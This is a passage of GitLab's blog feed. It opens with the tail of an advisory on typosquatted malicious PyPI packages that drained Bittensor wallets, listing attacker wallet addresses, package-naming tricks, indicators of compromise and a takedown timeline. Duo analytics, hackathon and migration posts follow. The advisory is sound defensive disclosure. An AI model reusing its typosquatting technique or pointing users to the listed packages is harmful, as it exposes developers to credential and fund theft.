<li><strong>Primary collection:</strong> Stolen funds initially arrive at <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code></li>
<li><strong>Distribution network:</strong> Funds are quickly moved to intermediate wallets including:
<ul>
<li><code>5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1</code></li>
<li><code>5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC</code></li>
<li><code>5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6</code></li>
<li><code>5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL</code></li>
</ul>
</li>
<li><strong>Final consolidation:</strong> All paths eventually converge at <code>5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu</code></li>
<li><strong>Cash-out endpoint:</strong> Final destination appears to be <code>5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ</code></li>
</ol>
<h2>The typosquatting strategy</h2>
<p>The attackers employed a typosquatting strategy that exploits common typing errors and package naming conventions:</p>
<ul>
<li><strong>Missing characters:</strong> <code>bitensor</code> instead of <code>bittensor</code> (missing 't')</li>
<li><strong>Truncation:</strong> <code>bittenso</code> instead of <code>bittensor</code> (missing final 'r')</li>
<li><strong>Version mimicking:</strong> All packages used version numbers (<code>9.9.4</code>, <code>9.9.5</code>) that closely match legitimate package versions</li>
</ul>
<p>This approach maximizes the chance of installation through developer typos during <code>pip install</code> commands and copy-paste errors from documentation.</p>
<h2>Looking ahead: The future of supply chain security</h2>
<p>GitLab continues to invest in proactive security research to identify and neutralize threats before they impact our community. Our automated detection system works around the clock to protect the software supply chain that powers modern development.</p>
<p>The swift detection and analysis of this attack demonstrate the value of proactive security measures in combating sophisticated threats. By sharing our findings, we aim to strengthen the entire ecosystem's resilience against future attacks.</p>
<h2>Indicators of compromise</h2>
<table>
<thead>
<tr>
<th style="text-align:left">IOC</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left"><code>pkg:pypi/bittenso@9.9.5</code></td>
<td style="text-align:left">Malicious PyPI package</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/bitensor@9.9.5</code></td>
<td style="text-align:left">Malicious PyPI package</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/bitensor@9.9.4</code></td>
<td style="text-align:left">Malicious PyPI package</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/qbittensor@9.9.4</code></td>
<td style="text-align:left">Malicious PyPI package</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/bittenso-cli@9.9.4</code></td>
<td style="text-align:left">Malicious PyPI package</td>
</tr>
<tr>
<td style="text-align:left"><code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code></td>
<td style="text-align:left">Bittensor (TAO) wallet address for receiving stolen funds</td>
</tr>
</tbody>
</table>
<h2>Timeline</h2>
<table>
<thead>
<tr>
<th style="text-align:left">Date &amp; Time</th>
<th style="text-align:left">Action</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left"><strong>2025-08-06T06:33</strong></td>
<td style="text-align:left">Initial analysis of suspicious packages reported by automated monitoring system</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:42</strong></td>
<td style="text-align:left">Reported <code>bittenso@9.9.5</code> to PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:46</strong></td>
<td style="text-align:left">Reported <code>bitensor@9.9.5</code> to PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:47</strong></td>
<td style="text-align:left">Reported <code>bitensor@9.9.4</code> to PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:49</strong></td>
<td style="text-align:left">Reported <code>qbittensor@9.9.4</code> to PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:51</strong></td>
<td style="text-align:left">Reported <code>bittenso-cli@9.9.4</code> to PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:26</strong></td>
<td style="text-align:left">PyPi.org removed <code>bittenso@9.9.5</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:27</strong></td>
<td style="text-align:left">PyPi.org removed <code>bitensor@9.9.5</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:27</strong></td>
<td style="text-align:left">PyPi.org removed <code>bitensor@9.9.4</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:28</strong></td>
<td style="text-align:left">PyPi.org removed <code>qbittensor@9.9.4</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:28</strong></td>
<td style="text-align:left">PyPi.org removed <code>bittenso-cli@9.9.4</code></td>
</tr>
</tbody>
</table>
]]></content>
        <author>
            <name>Michael Henriksen</name>
            <uri>https://about.gitlab.com/blog/authors/michael-henriksen</uri>
        </author>
        <published>2025-08-06T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Measuring AI ROI at scale: A practical guide to GitLab Duo Analytics]]></title>
        <id>https://about.gitlab.com/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics/</id>
        <link href="https://about.gitlab.com/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics/"/>
        <updated>2025-08-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>AI investment starts with measurement. Building a successful AI-powered
development platform begins with understanding actual usage, adoption
patterns, and quantifiable business value — especially ROI from <a href="https://about.gitlab.com/gitlab-duo/">GitLab Duo
Enterprise</a>.</p>
<p>To help our customers maximize their AI investments, we developed the GitLab Duo Analytics solution as part of our Duo Accelerator program — a comprehensive, customer-driven solution that transforms raw usage data into actionable business insights and ROI calculations. This is not a GitLab product, but rather a specialized enablement tool we created to address immediate analytics needs while organizations transition toward comprehensive AI productivity measurement.</p>
<p>This foundation enables broader AI transformation. For example, organizations can use these insights to optimize license allocation, identify high-value use cases, and build compelling business cases for expanding AI adoption across development teams.</p>
<p>A leading financial services organization partnered with a GitLab customer success architect through the Duo Accelerator program to gain visibility into their GitLab Duo Enterprise investment. Together, we implemented a hybrid analytics solution that combines monthly data collection with real-time API integration, creating a scalable foundation for measuring AI productivity gains and optimizing license utilization at enterprise scale.</p>
<h2>The challenge: Measuring AI ROI in enterprise development</h2>
<p>Before implementing any analytics solution, it's essential to understand your AI measurement landscape.</p>
<p>Consider:</p>
<ul>
<li>
<p><strong>What GitLab Duo features need measurement?</strong> (code suggestions, chat assistance, security scanning)?</p>
</li>
<li>
<p><strong>Who are your AI users?</strong> (developers, security teams, DevOps engineers)?</p>
</li>
<li>
<p><strong>What business metrics matter?</strong> (time savings, productivity gains, cost optimization)?</p>
</li>
<li>
<p><strong>How does your current data collection work</strong> (manual exports, API integration, existing tooling)?</p>
</li>
</ul>
<p>Use this stage to define your:</p>
<ul>
<li>
<p>ROI measurement framework</p>
</li>
<li>
<p>Key performance indicators (KPIs)</p>
</li>
<li>
<p>Data collection strategy</p>
</li>
<li>
<p>Stakeholder reporting requirements</p>
</li>
</ul>
<h3>Sample ROI measurement framework</h3>
<p><img src="https://gitlab.com/-/project/54775568/uploads/06da2f5c3a75197cd272aedb3d67a347/image.png" alt="Sample ROI measurement framework"></p>
<h2>Step-by-step implementation guide</h2>
<p>Important: The solution below describes an open source approach that you can deploy in your own environment. It is <strong>NOT</strong> a commercial product from GitLab that you need to purchase. You should be able download, customize, and run this solution free of charge.</p>
<h3>Prerequisites</h3>
<p><strong>Before starting, ensure you have:</strong></p>
<ul>
<li>
<p>Python 3.8+ installed</p>
</li>
<li>
<p>Node.js 14+ and npm (for React dashboard)</p>
</li>
<li>
<p>GitLab instance with Duo enabled</p>
</li>
<li>
<p>GitLab API token with read permissions</p>
</li>
<li>
<p>Basic terminal/command line knowledge</p>
</li>
</ul>
<h3>1: Initial setup and configuration</h3>
<p>Let's set up the project environment by first cloning the repository.</p>
<pre><code class="language-bash">git clone https://gitlab.com/gl-demo-ultimate-pmeresanu/gitlab-graphql-api.git
cd gitlab-graphql-api
</code></pre>
<p>Then, install Python dependencies.</p>
<pre><code class="language-bash">pip install -r requirements.txt

# What this does: Sets up the Python environment with all necessary libraries for data collection and server operation.
</code></pre>
<h3>2: Configure GitLab API access</h3>
<p>Create a .env file in the root directory to store your GitLab credentials.</p>
<p>GitLab configuration</p>
<pre><code class="language-yaml">GITLAB_URL: https://your-gitlab-instance.com
GITLAB_TOKEN: your_personal_access_token
GROUP_PATH: your-group/subgroup
</code></pre>
<p>Data collection settings</p>
<pre><code class="language-yaml">NUMBER_OF_ITERATIONS: 20000
SERVICE_PING_DATA_ENABLED: true
GRAPHQL_DATA_ENABLED: true
DUO_DATA_ENABLED: true
AI_METRICS_ENABLED: true
</code></pre>
<p>What these settings control:</p>
<ul>
<li>
<p><code>GITLAB_URL</code>: Your GitLab instance URL</p>
</li>
<li>
<p><code>GITLAB_TOKEN</code>: Personal access token for API authentication (needs read_api scope)</p>
</li>
<li>
<p><code>GROUP_PATH</code>: The group/namespace to collect data from</p>
</li>
<li>
<p>Various flags control which data types to collect</p>
</li>
</ul>
<h3>3: Understanding and running data collection</h3>
<p>The heart of the solution is the <code>ai_raw_data_collection.py</code> script.</p>
<p>This script connects to GitLab's APIs and extracts AI usage data.</p>
<p>What this script does:</p>
<ul>
<li>
<p>Connects to multiple GitLab GraphQL APIs in parallel</p>
</li>
<li>
<p>Collects code suggestion events, user metrics, and aggregated statistics</p>
</li>
<li>
<p>Processes data in memory-efficient chunks</p>
</li>
<li>
<p>Exports everything to .csv files for dashboard consumption</p>
</li>
</ul>
<p>Run the data collection.</p>
<pre><code class="language-bash">python scripts/ai_raw_data_collection.py
</code></pre>
<p>Expected output:</p>
<pre><code class="language-bash"> 2025-08-04 11:30:45 - INFO - Starting AI raw data collection...
 2025-08-04 11:30:46 - INFO - Running 4 data collection tasks concurrently...
 2025-08-04 11:31:15 - INFO - Processed chunk 1 (1000 rows)
 2025-08-04 11:32:30 - INFO - Successfully wrote ai_code_suggestions_data_raw.csv
 2025-08-04 11:33:00 - INFO - Retrieved 500 eligible users
 2025-08-04 11:33:30 - INFO - All data collection tasks completed in 165.2 seconds
</code></pre>
<h4>APIs used by the data collection script</h4>
<ol>
<li>AI usage data API (aiUsageData)</li>
</ol>
<pre><code class="language-graphql"># Fetches individual code suggestion events
query: |
  {
    group(fullPath: &quot;your-group&quot;) {
      aiUsageData {
        codeSuggestionEvents {
          event         # ACCEPTED or SHOWN
          timestamp     # When it happened
          language      # Programming language
          suggestionSize # SINGLE_LINE or MULTI_LINE
          user { username }
        }
      }
    }
  }
# Purpose: Tracks every code suggestion shown or accepted by developers
</code></pre>
<ol start="2">
<li>GitLab Self-Managed add-on users API</li>
</ol>
<pre><code class="language-graphql"># Gets licensed user information
query: |
  {
    selfManagedAddOnEligibleUsers(
      addOnType: DUO_ENTERPRISE
      filterByAssignedSeat: &quot;Yes&quot;
    ) {
      user {
        username
        lastDuoActivityOn
      }
    }
  }
# Purpose: Identifies who has licenses and when they last used Duo
</code></pre>
<ol start="3">
<li>AI metrics API</li>
</ol>
<p>Retrieve aggregated metrics.</p>
<pre><code class="language-graphql">query: |
  {
    aiMetrics(from: &quot;2024-01-01&quot;, to: &quot;2024-06-30&quot;) {
      codeSuggestions {
        shownCount
        acceptedCount
      }
      duoChatContributorsCount
      duoAssignedUsersCount
    }
  }
# Purpose: Gets pre-calculated metrics for trend analysis
</code></pre>
<ol start="4">
<li>Service Ping API (REST)</li>
</ol>
<pre><code class="language-bash">url: &quot;{GITLAB_URL}/api/v4/usage_data/service_ping&quot;
# Purpose: Collects instance-wide usage statistics
</code></pre>
<h3>4: Organizing the collected data</h3>
<p>After data collection completes, organize the CSV files.</p>
<p>Create monthly data directory.</p>
<pre><code class="language-bash">mkdir -p data/monthly/$(date +%Y-%m)
</code></pre>
<p>Move generated CSV files.</p>
<pre><code class="language-bash">mv *.csv data/monthly/$(date +%Y-%m)/
</code></pre>
<p>Generated files:</p>
<ul>
<li><code>ai_code_suggestions_data_raw.csv</code> - Individual suggestion events</li>
<li><code>duo_licensed_vs_active_users.csv</code> - User license and activity data</li>
<li><code>ai_metrics_data.csv</code> - Aggregated metrics over time</li>
<li><code>service_ping_data.csv</code> - System-wide statistics</li>
</ul>
<h3>5: Configure the dashboard</h3>
<p>Edit config.json to point to your data.</p>
<pre><code class="language-bash">config:
  dataPath: &quot;./data/monthly/2024-06&quot;
  csvFiles:
    users: &quot;duo_licensed_vs_active_users.csv&quot;
    suggestions: &quot;ai_code_suggestions_data_raw.csv&quot;
  currentDataPeriod: &quot;2024-06&quot;
</code></pre>
<p>What this configures:</p>
<ul>
<li>
<p>Where to find the CSV data files</p>
</li>
<li>
<p>Which period of data to display</p>
</li>
</ul>
<h3>6: Launch the dashboard server</h3>
<p>The <code>simple_csv_server.py</code> file creates a web server that reads your CSV data and serves it through a dashboard.</p>
<p>What this server does:</p>
<ul>
<li>Reads CSV files from the configured directory</li>
<li>Calculates metrics like utilization rates and costs</li>
<li>Serves an HTML dashboard with charts</li>
<li>Provides a JSON API for the React dashboard</li>
</ul>
<p>Start the server.</p>
<pre><code class="language-bash">python simple_csv_server.py
</code></pre>
<p>Console output:</p>
<pre><code class="language-bash">Starting CSV Dashboard Server...
Loading data from:
   - `./data/monthly/2024-06/duo_licensed_vs_active_users.csv`
   - `./data/monthly/2024-06/ai_code_suggestions_data_raw.csv`
</code></pre>
<p>Dashboard should be available at: http://localhost:8080.</p>
<p>API endpoint at: http://localhost:8080/api/dashboard.</p>
<h3>7: Access your analytics dashboard</h3>
<p>Open your browser and navigate to: http://localhost:8080.</p>
<p>You'll see:</p>
<ul>
<li>License utilization: Total licensed users vs. active users (together with code suggestion analytics)</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/nhbukcflhmghs5jatrip.png" alt="GitLab Duo Analytics Dasboard"></p>
<ul>
<li>Duo Chat analytics: Unique Duo Chat users, average Chat events over 90 days, and Chat adoption rate</li>
<li>Duo engagement analytics: Categorizing Duo usage for a group of users as Power (10+ suggestions), Regular (5-9), or Light (1-4) based on usage patterns</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/xgq05hh2ybzb8ugsxqza.png" alt="Duo Chat Analytics - last 90 days"></p>
<ul>
<li>Usage analytics: Code suggestions by programming language (language coverage distribution), Code suggestions language performance analytics (accepted vs rejected rate)</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/mu3dx5g2l2lki2ehlr2g.png" alt="User adoption view of Duo analytics"></p>
<p>&lt;p&gt;&lt;/p&gt;</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478267/xf0thn8sm4dlhoyyqg9i.png" alt="Language performance analytics"></p>
<ul>
<li>Weekly Duo Chat trends: Duo Chat usage patterns</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/plhycnmewye3vp6vitqj.png" alt="Duo Chat daily usage trends"></p>
<h3>8: (Optional) Launch the React dashboard</h3>
<p>For a more interactive experience, you can also run the React dashboard.</p>
<p>Install React dependencies.</p>
<pre><code class="language-bash">cd duo-roi-dashboard
npm install
</code></pre>
<p>Start the React app.</p>
<pre><code class="language-bash">npm start
</code></pre>
<p>What the React dashboard provides:</p>
<ul>
<li>Modern, responsive UI with ,aterial design</li>
<li>Real-time data refresh</li>
<li>Dark mode support</li>
<li>Enhanced visualizations</li>
<li>Export capabilities</li>
</ul>
<h2>Putting it all together</h2>
<p>To demonstrate the power of this integrated analytics solution, let's walk through a complete end-to-end implementation journey — from initial deployment to fully automated ROI measurement.</p>
<p>Start by deploying the containerized solution in your environment using the provided Docker configuration. Within minutes, you'll have both the analytics API and React dashboard running locally.</p>
<p>The hybrid data architecture approach immediately begins collecting metrics from your existing monthly CSV exports while establishing real-time GraphQL connections to your GitLab instance.</p>
<p><strong>Automation through Python scripting</strong></p>
<p>The real power emerges when you leverage Python scripting to automate the entire data collection and processing workflow. The solution includes comprehensive Python scripts that can be easily customized and scheduled.</p>
<p><strong>GitLab CI/CD integration</strong></p>
<p>For enterprise-scale automation, integrate these Python scripts into scheduled GitLab <a href="https://about.gitlab.com/topics/ci-cd/">CI/CD</a> pipelines. This approach leverages your existing GitLab infrastructure while ensuring consistent, reliable data collection:</p>
<pre><code class="language-yaml">
# .gitlab-ci.yml example

duo_analytics_collection:
  stage: analytics
  script:
    - python scripts/enhanced_duo_data_collection.py
    - python scripts/metric_aggregations.py
    - ./deploy_dashboard_updates.sh
  schedule:
    - cron: &quot;0 2 1 * *&quot;  # Monthly on 1st at 2 AM
  only:
    - schedules
</code></pre>
<p>This automation strategy transforms manual data collection into a self-sustaining analytics engine. Your Python scripts execute monthly via GitLab pipelines, automatically collecting usage data, calculating ROI metrics, and updating dashboards — all without manual intervention.</p>
<p>Once automated, the solution operates seamlessly: Scheduled pipelines execute Python data collection scripts, process GraphQL responses into business metrics, and update dashboard data stores. You can watch as the dashboard populates with real usage patterns: code suggestion volumes by programming language, user adoption trends across teams, and license utilization rates that reveal optimization opportunities.</p>
<p>The real value emerges when you access the ROI Overview dashboard. Here, you'll see concrete enagagement metrics metrics which can be converted into business impact for your organisation — perhaps discovering that your active Duo users are generating 127% monthly ROI through time savings and productivity gains, while 23% of your licenses remain underutilized. These insights immediately translate into actionable recommendations: expand licenses to high-performing teams, implement targeted training for underutilized users, and build data-driven business cases for broader AI adoption.</p>
<h2>Why GitLab?</h2>
<p>GitLab's comprehensive DevSecOps platform provides the ideal baseline for enterprise AI analytics and measurement. With native GraphQL APIs, flexible data access, and integrated AI capabilities through GitLab Duo, organizations can centralize AI measurement across the entire development lifecycle without disrupting existing workflows.</p>
<p>The solution's open architecture enables custom analytics solutions like the one developed through our Duo Accelerator program. GitLab's commitment to API-first design means you can extract detailed usage data, integrate with existing enterprise systems, and build sophisticated ROI calculations that align with your organization's specific metrics and reporting requirements.</p>
<p>Beyond technical capabilities, our approach ensures you're not just implementing tools — you're building sustainable AI adoption strategies. This purpose built solution emerging from the Duo Accelerator program exemplifies this approach, providing hands-on guidance, proven frameworks, and custom solutions that address real enterprise challenges like ROI measurement and license optimization.</p>
<p>As GitLab continues enhancing native analytics capabilities, this foundation becomes even more valuable. The measurement frameworks, KPIs, and data collection processes established through custom analytics solutions seamlessly transition to enhanced native features, ensuring your investment in AI measurement grows with GitLab's evolving solution.</p>
<h2>Try GitLab Duo today</h2>
<p>AI ROI measurement is just the beginning. With GitLab Duo's capabilities you can build out comprehensive analytics. With this you're not just tracking AI usage — you're building a foundation for data-driven AI optimization that scales with your organization's growth and evolves with GitLab's expanding AI capabilities.</p>
<p>The analytics solution developed through GitLab's Duo Accelerator program demonstrates how customer success partnerships can deliver immediate value while establishing long-term strategic advantages. From initial deployment to enterprise-scale ROI measurement, this solution provides the visibility and insights needed to maximize AI investments and drive sustainable adoption.</p>
<p>The combination of Python automation, GitLab CI/CD integration, and purpose-built analytics creates a competitive advantage that extends far beyond individual developer productivity. It enables strategic decision-making, optimizes resource allocation, and builds compelling business cases for continued AI investment and expansion.</p>
<p>The future of AI-powered development is data-driven, and it starts with measurement. Whether you're beginning your AI journey or optimizing existing investments, GitLab provides both the platform and the partnership needed to succeed.</p>
<blockquote>
<p>Get started with GitLab Duo today with a <a href="https://about.gitlab.com/gitlab-duo/">free trial of GitLab Ultimate with Duo Enterprise</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Paul Meresanu</name>
            <uri>https://about.gitlab.com/blog/authors/paul-meresanu</uri>
        </author>
        <published>2025-08-06T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[AI in Action Hackathon:  Celebrating the GitLab innovations ]]></title>
        <id>https://about.gitlab.com/blog/ai-in-action-hackathon-celebrating-the-gitlab-innovations/</id>
        <link href="https://about.gitlab.com/blog/ai-in-action-hackathon-celebrating-the-gitlab-innovations/"/>
        <updated>2025-08-05T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>The AI in Action Hackathon offered a compelling opportunity for developers to explore artificial intelligence. Running from May 6 to June 17, 2025, participants developed AI solutions and competed for a $50,000 prize pool. You can find more details about the contest and <a href="https://ai-in-action.devpost.com/project-gallery">explore the projects</a>.</p>
<p>This hackathon stood out because of a unique collaborative effort, bringing together Google Cloud, MongoDB, and GitLab. The aim was to cultivate an environment for AI development by combining Google Cloud's AI and cloud tools, MongoDB's intelligent data platform for AI, and GitLab's intelligent DevSecOps platform to ship more secure software faster with AI. This partnership allowed developers to integrate these powerful tools, reflecting real-world project dynamics.</p>
<p>This initiative sought to propel the developer community's growth, and collaboratively shape the future of DevSecOps. GitLab's specific focus in this hackathon was to inspire the creation of AI-enabled applications leveraging both GitLab and Google Cloud. Submissions were encouraged to include contributions to GitLab's product or develop functional components for the <a href="https://gitlab.com/explore/catalog">GitLab CI/CD Catalog</a>.</p>
<p>Ultimately, the AI in Action Hackathon became a vibrant stage for developer innovation. It ignited fresh ideas and equipped participants with tangible gains, including new skills, impactful projects for their portfolios, and new professional connections.</p>
<h2>Meet the winners: AI in action with GitLab</h2>
<p>Congratulations to all participants, and specifically to the contest winners. Here's a highlight of the projects that stood out for their deep GitLab integration.</p>
<p><strong><a href="https://devpost.com/software/pipeline-doctor">Pipeline Doctor: Proactive health for your CI/CD</a></strong>
<em>&quot;As a software engineer, I frequently run into failed GitLab pipelines, often accompanied by cryptic and overwhelming logs. Pinpointing the root cause feels like searching for a needle in a haystack. Debugging becomes even more time-consuming when I have to rely on SREs for support.&quot; - the project's author</em></p>
<p>Pipeline Doctor addresses this by using AI for advanced root cause analysis, swiftly diagnosing pipeline anomalies. It analyzes logs and changes to pinpoint errors, and could even explain security issues or predict bottlenecks. This means substantial productivity gains for developers, reclaiming time from troubleshooting to focus on new features. It also makes pipelines more reliable, aligning with goals for 80% faster CI builds and 90% less system maintenance. This project signifies a shift from reactive troubleshooting to proactive health monitoring.</p>
<p>A truly impressive step towards more resilient pipelines.</p>
<p><strong><a href="https://devpost.com/software/agentic-cicd">Agentic CICD: The future of automated DevSecOps</a></strong></p>
<p><em>&quot;What if AI agents could handle most of the DevOps workload?”- the project’s author</em></p>
<p>Agentic CICD is set to profoundly elevate DevSecOps practices by automating code reviews, suggesting intelligent fixes, and optimizing testing and deployment decisions. These agents can evaluate real-time metrics, automate releases, and even initiate rollbacks without immediate human intervention, creating a self-improving feedback loop. This approach also enhances security by proactively identifying risks. The advantages for development teams are tangible: increased productivity, consistently higher software quality, and improved operational efficiency, accelerating development cycles and time-to-market. Agentic CICD cultivates a pipeline capable of <em>self-healing</em> and <em>self-optimization</em>, amplifying developer capabilities by automating routine tasks and providing intelligent insights.</p>
<p>This project truly showcases the next generation of intelligent automation.</p>
<p><strong><a href="https://devpost.com/software/devgenius">Agent Anansi: Your intelligent companion in GitLab</a></strong></p>
<p><em>“As someone deeply passionate about DevOps and AI, I was frustrated by the fragmented and reactive nature of traditional CI/CD workflows. While automation is widespread, intelligence is often lacking.“ -  the project's author</em></p>
<p>Agent Anansi, a name evoking the clever and resourceful spider from folklore, appears to be a versatile AI agent designed to enhance various GitLab workflows beyond the confines of CI/CD. GitLab's broader vision for AI agents includes systems that mirror familiar team roles and serve as foundational building blocks for highly customized agents. This intelligent companion is poised to enhance GitLab workflows by automating repetitive tasks like issue categorization, optimizing search functions, and performing intelligent data analysis. Similar to GitLab Duo's Chat Agent, Anansi could process natural language requests for information or debugging assistance. A compelling application could be an &quot;AI mentor&quot; suggesting personalized learning paths. The overall impact on collaboration and efficiency would be substantial, improving developer experience by minimizing manual tasks and reducing context-switching. It would also enhance collaboration by providing instant access to documentation and enabling direct actions through intelligent interaction. Agent Anansi functions as a personalized productivity co-pilot, moving beyond generic tool assistance to a truly personalized experience that increases individual developer efficiency and reduces cognitive load.</p>
<p>A fantastic example of AI making daily development work smarter and more intuitive.</p>
<h2>The power of partnership: Google Cloud, MongoDB, and GitLab fuel innovation</h2>
<p>The AI in Action Hackathon underscored the potency of strategic partnerships in driving innovation. Google Cloud served as a foundational pillar, providing its advanced AI tools, machine learning capabilities, and extensive cloud computing resources as the bedrock for all hackathon projects. MongoDB offered the indispensable intelligent data layer, and GitLab provided the DevSecOps platform essential for building, securing, and deploying these sophisticated AI-enabled applications. Participants were granted access to these powerful tools through free trials or credits, reducing the barriers for experimentation.</p>
<p>The collaborative synergy among these partners was unmistakable in the multipartner structure of the hackathon. This environment allowed participants to explore a wide array of technologies and integration possibilities, enabling them to create innovative projects that addressed real-world problems.</p>
<h2>Getting to know GitLab's Duo Agent Platform</h2>
<p>GitLab is reimagining software development, charting a future where humans and AI collaborate seamlessly. <a href="https://about.gitlab.com/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> allows users to build, customize, and connect AI agents to match their workflow. Developers are empowered to focus on strategic, creative challenges, as AI agents adeptly manage routine tasks such as providing project status updates, bug fixes, and code reviews concurrently.</p>
<p><a href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/">Duo Agent Platform is now in public beta</a> for GitLab Premium and Ultimate customers on GitLab.com and self-managed environments.</p>
<p><a href="https://about.gitlab.com/topics/agentic-ai/">AI agents</a> on the platform leverage comprehensive context from your GitLab projects, code, and requirements. They can also interoperate with other applications or data sources for expanded context and actionable assistance. The platform delivers extensible, customizable agentic AI: Users can create and customize agents and agentic flows that understand their specific work processes and organizational needs. Custom rules can be defined in natural language, ensuring agents perform precisely as configured. A catalog for custom skills, agents, and flows is also planned for future release.</p>
<p>Duo Agent Platform is seamlessly integrated into your workflow, available in your IDE (Integrated Development Environment) or GitLab’s web UI. It currently supports VS Code and the JetBrains family of IDEs, with Visual Studio support planned. This ability to set custom rules for agents, such as specific formatting for code or adherence to language versions, is poised to accelerate reviews and enable swifter deployment of consistent, secure code.</p>
<p>To get started, GitLab.com customers need to activate GitLab Duo beta features for their group, while self-managed customers need to enable these features for their GitLab Self-Managed instance. For those who are not yet GitLab customers, <a href="https://about.gitlab.com/free-trial/devsecops/">a GitLab Ultimate trial</a>, including Duo Agent Platform, is available at no cost.</p>
<h2>Join the AI revolution: What's next for developers</h2>
<p>The AI in Action Hackathon vividly showcased the transformative potential of artificial intelligence when applied to real-world software development challenges. For developers inspired by these breakthroughs, the journey into AI-powered DevSecOps has just started. Users are encouraged to explore and harness the power of <a href="https://about.gitlab.com/gitlab-duo/">GitLab Duo</a>, which is engineered to substantially elevate productivity, enhance operational efficiency, and reduce security risks across the software development lifecycle. GitLab Duo offers a suite of integrated features, including intelligent Code Suggestions, an interactive Chat agent, AI-assisted Root Cause Analysis for CI/CD failures, and clear explanations for security vulnerabilities — all directly accessible within the platform.</p>
<p>Beyond utilizing these powerful tools, developers are invited to contribute actively to the vibrant <a href="https://about.gitlab.com/community/">GitLab community</a>. This hackathon is an integral part of GitLab's broader community engagement initiative, which encourages contributions to <a href="https://about.gitlab.com/community/">GitLab's open source community</a>. By contributing, developers can directly shape the platform that millions use to deliver software faster and more securely. As a testament to GitLab's commitment to its community, contributors benefit from the very AI-powered tools, such as GitLab Duo, that they help build. Furthermore, GitLab recognizes and rewards community contributions through various programs, including the monthly Notable Contributor initiative and special recognition for Hackathon winners.</p>
<p>The AI in Action Hackathon showcased how a robust trust infrastructure, combined with emerging AI use cases, is forging a path toward a more trustworthy and efficient digital future. GitLab is dedicated to accelerating the monthly delivery of potent new AI features, with a clear strategic trajectory toward becoming a premier agent orchestration platform. GitLab is poised to empower users to craft, tailor, and disseminate complex agent flows, enabling highly automated and intelligent workflows. The landscape of software development is rapidly transforming, becoming progressively autonomous, adaptive, and AI-driven.</p>
<p>I can’t wait to see what you will build next with GitLab!</p>
]]></content>
        <author>
            <name>Nick Veenhof</name>
            <uri>https://about.gitlab.com/blog/authors/nick-veenhof</uri>
        </author>
        <published>2025-08-05T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Migrating by direct transfer is generally available]]></title>
        <id>https://about.gitlab.com/blog/migrating-by-direct-transfer-is-generally-available/</id>
        <link href="https://about.gitlab.com/blog/migrating-by-direct-transfer-is-generally-available/"/>
        <updated>2025-07-31T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Migrating GitLab groups and projects by direct transfer is now generally available from GitLab 18.3. This brings an easy-to-use and automated way of migrating GitLab resources between GitLab instances to an even broader audience.</p>
<p>Using <a href="https://docs.gitlab.com/user/group/import/">direct transfer</a> enables you to easily create a copy of chosen GitLab resources on the same or another GitLab instance. You can use either the UI or API. The UI is intuitive and straightforward, while <a href="https://docs.gitlab.com/ee/api/bulk_imports.html">the API</a> gives you additional flexibility in terms of choosing resources to be copied.</p>
<p>Migrating by direct transfer is a major improvement from <a href="https://docs.gitlab.com/ee/user/project/settings/import_export.html#migrate-projects-by-uploading-an-export-file">migrating groups and projects using file exports</a> because of the following:</p>
<ul>
<li>You don't need to manually export each individual group and project to a file and then import all those export files to a new location. Now, you can directly migrate any top-level group you have the Owner role for with all its sub-groups and projects.</li>
<li>It allows for <a href="https://about.gitlab.com/blog/streamline-migrations-with-user-contribution-and-membership-mapping/">post-import user contribution mapping</a> (such as issue or comment authorship), which gives you greater flexibility and control.</li>
<li>It works reliably with large projects. Thanks to resource batching and concurrent execution of import and export processes the chance of interruption or timeout is significantly lowered.</li>
